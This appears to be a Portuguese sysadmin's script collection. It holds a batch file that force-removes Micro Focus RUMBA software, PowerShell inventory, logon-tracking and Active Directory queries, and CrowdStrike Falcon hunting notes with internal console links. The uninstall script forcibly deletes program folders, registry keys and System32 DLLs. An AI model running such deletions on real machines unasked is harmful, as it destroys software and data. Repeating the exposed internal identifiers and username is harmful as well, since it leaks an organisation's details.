reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts" /v "Monospace 821 Dec Multi BT (TrueType)" /f 49 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts" /v "Monospace 821 Dec Rt BT (TrueType)" /f 50 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts" /v "Monospace 821 Dec Spec BT (TrueType)" /f 51 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts" /v "Monospace 821 Dec Tech BT (TrueType)" /f 52 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts" /v "NetSoft Regular (TrueType)" /f 53 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts" /v "RUMBA 3812 Symbols (TrueType)" /f 54 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts" /v "Rumba VT (TrueType)" /f 55 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts" /v "RumbaICLSpe BT (TrueType)" /f 56 | 57 | for /d %%G in (c:\users\*) DO (rd /s /q "%%G\AppData\Local\Micro Focus") 58 | for /d %%G in (c:\users\*) DO (rd /s /q "%%G\AppData\Roaming\Micro Focus") 59 | 60 | rd /q /s "C:\Program Files (x86)\Micro Focus" 61 | rd /q /s "C:\Program Files\Micro Focus" 62 | del /q /f "C:\Users\Public\Desktop\OnWeb Web-to-Host.url" 63 | del /q /f "C:\Users\Public\Desktop\OnWeb Web-to-Host Contigência.lnk" 64 | del /s /q /f %WinDir%\System32\wdloader.dll 65 | del /s /q /f %WinDir%\System32\wdntmap.dll 66 | 67 | 68 | reg delete "HKEY_CURRENT_USER\Software\WallData" /f 69 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WALLDATA" /f 70 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\WallData" /f 71 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\NetManage" /f 72 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Micro Focus" /f 73 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\NetManage" /f 74 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Micro Focus" /f 75 | reg delete "HKEY_USERS\.DEFAULT\Software\WallData" /f 76 | 77 | reg delete "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\NMServiceManager" /f 78 | reg delete "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\NMServiceManager" /f 79 | reg delete "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet003\Services\NMServiceManager" /f 80 | 81 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{0259B539-DC02-419A-B8E1-3F739986BFFC}" /f 82 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{0BF2CFD0-0F3B-4ED8-8820-079BFEF9810F}" /f 83 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{123BA923-42DB-4082-8729-1D80689DB4CA}" /f 84 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{13280383-BA45-461C-8CD5-5C39C103DBF9}" /f 85 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{151381FF-3DA9-4940-8273-73AB1B5C1D5E}" /f 86 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{2013C3A6-8957-446B-AECE-87471E9105AA}" /f 87 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{3FD6EBF1-19F7-4982-ADA2-594B6E0A8CA5}" /f 88 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{41C91FEC-4179-4F51-ADED-8C869C626DD9}" /f 89 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{45C91FEC-4179-4F51-ADED-8C869C626DD9}" /f 90 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{46C91FEC-4179-4F51-ADED-8C869C626DD9}" /f 91 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{47C91FEC-4179-4F51-ADED-8C869C626DD9}" /f 92 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{4B4752B1-C8EB-4C19-B76D-6E9DA05609F3}" /f 93 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{625A88AC-C0C9-41F5-B52A-DAAF1A5C0C81}" /f 94 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{6773E18D-723C-4D4C-A45B-C81CD5F00FD7}" /f 95 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{691EEDA7-5D13-45F9-B2DC-5331F50170E4}" /f 96 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{76E8EFBD-2930-451B-8534-B8690BE88FD2}" /f 97 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{7A838A07-8C57-490C-B997-FB48E1D68601}" /f 98 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{919C2F70-0993-4BBB-90FD-BE735198F353}" /f 99 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{BAB5DF7F-A3EA-4644-A6EC-AD11674805A5}" /f 100 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{C6786B80-BC3F-49DA-982B-605E9486516E}" /f 101 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{C8620165-424B-48DE-8FD2-7C50C87A52A0}" /f 102 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{CF695844-7E0D-4749-8B75-1A8C81C0E4C0}" /f 103 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{D02BFD4A-0603-40D7-96AD-76064095EB61}" /f 104 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{D36DEC68-4C0A-4487-B4C9-C822FD79B4AA}" /f 105 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{FB211AA6-1295-4AAD-9390-9BFC84C20EA8}" /f 106 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{FFDAB6AD-93ED-4150-91AB-1332E0E3661A}" /f 107 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{6B2F5990-7480-4A41-A149-F2A8F4CF38B4}" /f 108 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{89671C10-0AA6-4FB7-9C60-D668554F4910}" /f 109 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{919C2F70-0993-4BBB-90FD-BE735198F353}" /f 110 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{0BF2CFD0-0F3B-4ED8-8820-079BFEF9810F}" /f 111 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{4B4752B1-C8EB-4C19-B76D-6E9DA05609F3}" /f 112 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{3FD6EBF1-19F7-4982-ADA2-594B6E0A8CA5}" /f 113 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{123BA923-42DB-4082-8729-1D80689DB4CA}" /f 114 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{13280383-BA45-461C-8CD5-5C39C103DBF9}" /f 115 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{2013C3A6-8957-446B-AECE-87471E9105AA}" /f 116 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{FB211AA6-1295-4AAD-9390-9BFC84C20EA8}" /f 117 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{691EEDA7-5D13-45F9-B2DC-5331F50170E4}" /f 118 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{D02BFD4A-0603-40D7-96AD-76064095EB61}" /f 119 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{6773E18D-723C-4D4C-A45B-C81CD5F00FD7}" /f 120 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{FFDAB6AD-93ED-4150-91AB-1332E0E3661A}" /f 121 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{76E8EFBD-2930-451B-8534-B8690BE88FD2}" /f 122 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{BAB5DF7F-A3EA-4644-A6EC-AD11674805A5}" /f 123 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{74B1481B-D474-4F16-8EA6-E18090667A7D}" /f 124 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{CF695844-7E0D-4749-8B75-1A8C81C0E4C0}" /f 125 | 126 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts" /v "FTP Wy (TrueType)" /f 127 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts" /v "FTP Wy Bold (TrueType)" /f 128 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts" /v "MFSansSerifMonoMedium (TrueType)" /f 129 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts" /v "Monospace 821 Ansi BT (TrueType)" /f 130 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts" /v "Monospace 821 Dec Left BT (TrueType)" /f 131 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts" /v "Monospace 821 Dec Multi BT (TrueType)" /f 132 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts" /v "Monospace 821 Dec Rt BT (TrueType)" /f 133 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts" /v "Monospace 821 Dec Spec BT (TrueType)" /f 134 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts" /v "Monospace 821 Dec Tech BT (TrueType)" /f 135 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts" /v "NetSoft Regular (TrueType)" /f 136 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts" /v "RUMBA 3812 Symbols (TrueType)" /f 137 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts" /v "Rumba VT (TrueType)" /f 138 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts" /v "RumbaICLSpe BT (TrueType)" /f 139 | 140 | reg delete "HKEY_CLASSES_ROOT\Installer\Products\0995F2B6084714A41A942F8A4FFC834B" /f 141 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Products\0995F2B6084714A41A942F8A4FFC834B" /f 142 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\0995F2B6084714A41A942F8A4FFC834B" /f 143 | 144 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\SharedDlls" /v "C:\Program Files (x86)\Micro Focus\NMServiceManager\NMServiceManager.exe" /f 145 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\SharedDlls" /v "C:\Program Files (x86)\Micro Focus\NMServiceManager\Services\DownloadInstall\diresen.dll" /f 146 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\SharedDlls" /v "C:\Program Files (x86)\Micro Focus\NMServiceManager\Services\DownloadInstall\diresfr.dll" /f 147 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\SharedDlls" /v "C:\Program Files (x86)\Micro Focus\NMServiceManager\Services\DownloadInstall\diresger.dll" /f 148 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\SharedDlls" /v "C:\Program Files (x86)\Micro Focus\NMServiceManager\Services\DownloadInstall\DownloadInstall.dll" /f 149 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\SharedDlls" /v "C:\Program Files (x86)\Micro Focus\NMServiceManager\Services\DownloadInstall\DownloadInstallps.dll" /f 150 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\SharedDlls" /v "C:\Program Files (x86)\Micro Focus\NMServiceManager\Services\DownloadInstall\InstallService.dll" /f 151 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\SharedDlls" /v "C:\Program Files (x86)\Micro Focus\NMServiceManager\Services\DownloadInstall\ProductCfg.xsd" /f 152 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\SharedDlls" /v "C:\Program Files (x86)\Micro Focus\NMServiceManager\Services\DownloadInstall\Uninstall\uninstallprocontainer.exe" /f 153 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\SharedDlls" /v "C:\Program Files (x86)\Micro Focus\NMServiceManager\Services\DownloadInstall\Uninstall\UpdRgfs.EXE" /f 154 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\SharedDlls" /v "C:\Program Files (x86)\Micro Focus\NMServiceManager\Services\DownloadInstall\w2hdien.dll" /f 155 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\SharedDlls" /v "C:\Program Files (x86)\Micro Focus\NMServiceManager\Services\DownloadInstall\w2hdifr.dll" /f 156 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\SharedDlls" /v "C:\Program Files (x86)\Micro Focus\NMServiceManager\Services\DownloadInstall\w2hdiger.dll" /f 157 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\SharedDlls" /v "C:\Program Files (x86)\Micro Focus\NMServiceManager\Services\DownloadInstall\W2HDownloadInstall.dll" /f 158 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\SharedDlls" /v "C:\Program Files (x86)\Micro Focus\NMServiceManager\Services\DownloadInstall\W2HRemoveTool.dll" /f 159 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\SharedDlls" /v "C:\Program Files (x86)\Micro Focus\NMServiceManager\Services\DownloadInstall\W2HServerCfg.xsd" /f 160 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\SharedDlls" /v "C:\Program Files (x86)\Micro Focus\RUMBA\Setup\RGF\WDAPP.RGF" /f 161 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\SharedDlls" /v "C:\Program Files (x86)\Micro Focus\RUMBA\Setup\RGF\WDAPPCTL.RGF" /f 162 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\SharedDlls" /v "C:\Program Files (x86)\Micro Focus\RUMBA\Setup\RGF\wdcolor.rgf" /f 163 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\SharedDlls" /v "C:\Program Files (x86)\Micro Focus\RUMBA\Setup\RGF\WDKBD.RGF" /f 164 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\SharedDlls" /v "C:\Program Files (x86)\Micro Focus\RUMBA\Setup\RGF\WDMACRO.RGF" /f 165 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\SharedDlls" /v "C:\Program Files (x86)\Micro Focus\RUMBA\Setup\RGF\wdprint.rgf" /f 166 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\SharedDlls" /v "C:\Program Files (x86)\Micro Focus\RUMBA\system\WDAPP.Dll" /f 167 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\SharedDlls" /v "C:\Program Files (x86)\Micro Focus\RUMBA\system\WdAppCtl.ocx" /f 168 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\SharedDlls" /v "C:\Program Files (x86)\Micro Focus\RUMBA\system\WdColor.Ocx" /f 169 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\SharedDlls" /v "C:\Program Files (x86)\Micro Focus\RUMBA\system\WdKbd.Dll" /f 170 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\SharedDlls" /v "C:\Program Files (x86)\Micro Focus\RUMBA\system\WdMacCtl.ocx" /f 171 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\SharedDlls" /v "C:\Program Files (x86)\Micro Focus\RUMBA\system\WDMACRO.Dll" /f 172 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\SharedDlls" /v "C:\Program Files (x86)\Micro Focus\RUMBA\system\WDPRINT.Dll" /f 173 | reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\SharedDlls" /v "C:\Program Files (x86)\Micro Focus\WebToHostIcon.ico" /f 174 | 175 | -------------------------------------------------------------------------------- /ListaDeProgramasInstalados: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Lista de Programas Instalados # 3 | ################################################# 4 | 5 | Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion | Sort-Object -Property DisplayName -Unique | Format-Table -AutoSize 6 | -------------------------------------------------------------------------------- /ListarIP-Ativo: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Listar endereços IP ativos # 3 | ################################################# 4 | 5 | Get-WmiObject -Class Win32_NetworkAdapterConfiguration -Filter IPEnabled=TRUE -ComputerName . | Format-Table -Property IPAddress 6 | -------------------------------------------------------------------------------- /ListarUsuariosDeContaSistLocal: -------------------------------------------------------------------------------- 1 | # Para listar as contas de Sistema locais utilize a classe Win32_SystemAccount: 2 | 3 | Get-CimInstance -Class Win32_SystemAccount 4 | Get-CimInstance -Class Win32_UserAccount -Filter 'LocalAccount=True' 5 | -------------------------------------------------------------------------------- /LocalizarArquivosComDIR: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Localizar arquivos # 3 | ################################################# 4 | 5 | dir /s/q/t:a/b *.mp4 /b *.mp3 > c:\AudioVideo.txt 6 | 7 | # /s - subpastas 8 | # /q - proprietário do arquivo 9 | # /t:a - ultimo acesso 10 | # /b - arquivos específicos 11 | # > - encaminhar a saída do comando para um arquivo (em nosso caso o logmp3.txt) 12 | # >> - encaminhar para um arquivo sem apagar o que já foi registrado 13 | -------------------------------------------------------------------------------- /LocalizarUsuario: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Localizar usuário e estação # 3 | ################################################# 4 | 5 | Invoke-Command -ComputerName NomeDoServerAD { 6 | 7 | #cls 8 | 9 | Write-Host Coletando informações ... 10 | 11 | #usuário de rede que sera localizado 12 | 13 | $user = "eduardo.popovici" 14 | 15 | #quantos logins irá retornar 16 | 17 | $QntddLogs = 3 18 | $Data = (get-date).date 19 | #$Data = (get-date).AddHours(-3) 20 | #$Data = "24/05/2019" 21 | 22 | Get-winevent -FilterHashtable @{logname='security'; id=4624; starttime=$Data; Level=0 } –MaxEvents 50000000 | Where-Object {$_.Message -match "Account Name:\s+$user"} | Select TimeCreated, @{n='User';e={$_.Properties[5].Value }},@{n="Maquina";e={$_.properties[11].value}},@{n="IP";e={$_.properties[18].value}} -First $QntddLogs | ft -AutoSize} 23 | -------------------------------------------------------------------------------- /LocateHostnameFromUserTXT: -------------------------------------------------------------------------------- 1 | # d:\Users\anaedua\Desktop\Transfer\usuarios.txt 2 | # Get-ADComputer -Filter * -Properties ipv4Address, OperatingSystem | Format-List Name, ipv4*, oper* > c:\users\robertwe\desktop\computers.txt 3 | # Get-ADComputer -Filter * -Properties ipv4Address, OperatingSystem | select Name, ipv4Address, OperatingSystem | out-file c:\users\robertwe\desktop\computers.txt -Append 4 | 5 | $computers = Get-Content d:\Users\anaedua\Desktop\Transfer\usuarios2.txt 6 | 7 | foreach ($computer in $computers) { 8 | $wmi = Get-WmiObject -ComputerName $computer -Class win32_computersystem 9 | $output = [ordered]@{ 10 | Host = $computer 11 | User = $wmi.username 12 | } 13 | $report = New-Object -TypeName PSObject -Property $output 14 | Write-Output $report 15 | } 16 | -------------------------------------------------------------------------------- /MemDump: -------------------------------------------------------------------------------- 1 | Novo de MemDump - salvar como .PS1 2 | ================================== 3 | 4 | 5 | 6 | detections 7 | 8 | 9 | http://dontpad.com/paralelepipedo8819 10 | 11 | 12 | 13 | 14 | (event_simpleName=processrollup2 OR event_simpleName=syntheticprocessrollup2 OR event_simpleName=associatetreeidwithroot OR event_simpleName=cloudassociatetreeidwithroot OR event_simpleName=associateindicator OR ExternalApiType=Event_DetectionSummaryEvent) 15 | | eval MasterPID=coalesce(ProcessId, TargetProcessId_decimal) 16 | | stats values(CommandLine) AS Triggering_CL, values(PatternId_decimal) AS PatternID, values(TemplateInstanceId_decimal) AS InstanceID, values(DetectScenario) AS Scenario, values(DetectName) AS Name, values(DetectDeion) AS Deion, values(Nonce) AS Ignore by MasterPID 17 | | where Triggering_CL!="" AND PatternID!="" AND isnull(Ignore) 18 | 19 | 20 | 21 | 22 | https://falcon.us-2.crowdstrike.com/crowdscore/incidents/details/inc:68efad3dd29d49b0808c463a2119359c:26cf72a025504afa8ab0c38421bd88ae/graph 23 | 24 | 25 | 26 | earliest=-7d event_simpleName=UserLogonFailed2 27 | | iplocation RemoteIP 28 | | stats dc(aid) as uniqueSystems count(aid) as failedLogonAttempts values(Country) as Countries values(ComputerName) as Endpoints by company 29 | | sort – failedLogonAttempts 30 | 31 | 32 | 33 | https://falcon.us-2.crowdstrike.com/support/news/release-notes-falcon-sensor-for-linux-6-12-10912 34 | -------------------------------------------------------------------------------- /PermissaoExecScript: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Permitir execução de scripts # 3 | ################################################# 4 | 5 | set-executionpolicy remotesigned 6 | -------------------------------------------------------------------------------- /PesquisaAD: -------------------------------------------------------------------------------- 1 | $ReportFile = "C:\Temp\ADSiteInfo.CSV" 2 | Remove-item $ReportFile -ErrorAction SilentlyContinue 3 | $ThisString="AD Site,Location,Site Option,Current ISTG,Subnets,Servers,In Site Links,Bridgehead Servers" 4 | Add-Content "$ReportFile" $ThisString 5 | 6 | $CurForestName = "NetWrix.com" 7 | $a = new-object System.DirectoryServices.ActiveDirectory.DirectoryContext("Forest", $CurForestName) 8 | [array]$ADSites=[System.DirectoryServices.ActiveDirectory.Forest]::GetForest($a).sites 9 | $ADSites 10 | ForEach ($Site in $ADSites) 11 | { 12 | $SiteName = $Site.Name 13 | $SiteLocation = $site.Location 14 | $SiteOption = $Site.Options 15 | $SiteISTG = $Site.InterSiteTopologyGenerator 16 | 17 | [array] $SiteServers = $Site.Servers.Count 18 | [array] $SiteSubnets = $Site.Subnets.Count 19 | [array] $SiteLinks = $Site.SiteLinks.Count 20 | [array] $SiteBH = $Site.BridgeheadServers.Count 21 | 22 | $FinalVal=$SiteName+","+'"'+$SiteLocation+'"'+","+'"'+$SiteOptions+'"'+","+$SiteISTG+","+$SiteSubnets+","+$SiteServers+","+$SiteLinks+","+$SiteBH 23 | Add-Content "$ReportFile" $FinalVal 24 | } 25 | -------------------------------------------------------------------------------- /ProcessosAtivos: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Listar processos ativos # 3 | ################################################# 4 | 5 | ps | sort –p ws | select –last 5 6 | -------------------------------------------------------------------------------- /QuerySCCM-porHostname: -------------------------------------------------------------------------------- 1 | #QuerySCCM 2 | select SMS_R_System.ResourceId, SMS_R_System.ResourceType, SMS_R_System.Name, SMS_R_System.SMSUniqueIdentifier, SMS_R_System.ResourceDomainORWorkgroup, SMS_R_System.Client from SMS_R_System where SMS_R_System.NetbiosName in ("HOST01",HOST02","HOST03") 3 | -------------------------------------------------------------------------------- /Rascunho: -------------------------------------------------------------------------------- 1 | Novo de MemDump - salvar como .PS1 2 | ================================== 3 | 4 | 5 | 6 | detections 7 | 8 | 9 | http://dontpad.com/paralelepipedo8819 10 | 11 | 12 | 13 | 14 | (event_simpleName=processrollup2 OR event_simpleName=syntheticprocessrollup2 OR event_simpleName=associatetreeidwithroot OR event_simpleName=cloudassociatetreeidwithroot OR event_simpleName=associateindicator OR ExternalApiType=Event_DetectionSummaryEvent) 15 | | eval MasterPID=coalesce(ProcessId, TargetProcessId_decimal) 16 | | stats values(CommandLine) AS Triggering_CL, values(PatternId_decimal) AS PatternID, values(TemplateInstanceId_decimal) AS InstanceID, values(DetectScenario) AS Scenario, values(DetectName) AS Name, values(DetectDeion) AS Deion, values(Nonce) AS Ignore by MasterPID 17 | | where Triggering_CL!="" AND PatternID!="" AND isnull(Ignore) 18 | 19 | 20 | 21 | 22 | https://falcon.us-2.crowdstrike.com/crowdscore/incidents/details/inc:68efad3dd29d49b0808c463a2119359c:26cf72a025504afa8ab0c38421bd88ae/graph 23 | 24 | 25 | 26 | earliest=-7d event_simpleName=UserLogonFailed2 27 | | iplocation RemoteIP 28 | | stats dc(aid) as uniqueSystems count(aid) as failedLogonAttempts values(Country) as Countries values(ComputerName) as Endpoints by company 29 | | sort – failedLogonAttempts 30 | 31 | 32 | https://falcon.us-2.crowdstrike.com/hosts/hosts/host/3366bd1c94ab4f52bc13b6abc4b33fb1 33 | 34 | 35 | 36 | https://falcon.us-2.crowdstrike.com/support/news/release-notes-falcon-sensor-for-linux-6-12-10912 37 | 38 | 39 | 40 | https://falcon.us-2.crowdstrike.com/hosts/hosts/host/3366bd1c94ab4f52bc13b6abc4b33fb1 41 | 42 | 43 | 44 | 45 | 46 | 47 | https://falcon.us-2.crowdstrike.com/investigate/process-explorer/7d9ef1cecc234421a6b06c25b726e947/9808146722?_cid=f2dce2fb742340dfb78757e39855e5af 48 | 49 | 50 | 51 | https://falcon.us-2.crowdstrike.com/investigate/events/en-US/app/eam2/search?q=search%20event_platform%3DLin%0A%7C%20stats%20count%20by%20event_simpleName%20&display.page.search.mode=verbose&dispatch.sample_ratio=1&earliest=-24h%40h&latest=now&display.page.search.tab=statistics&display.general.type=statistics&sid=1607697824.6157 52 | 53 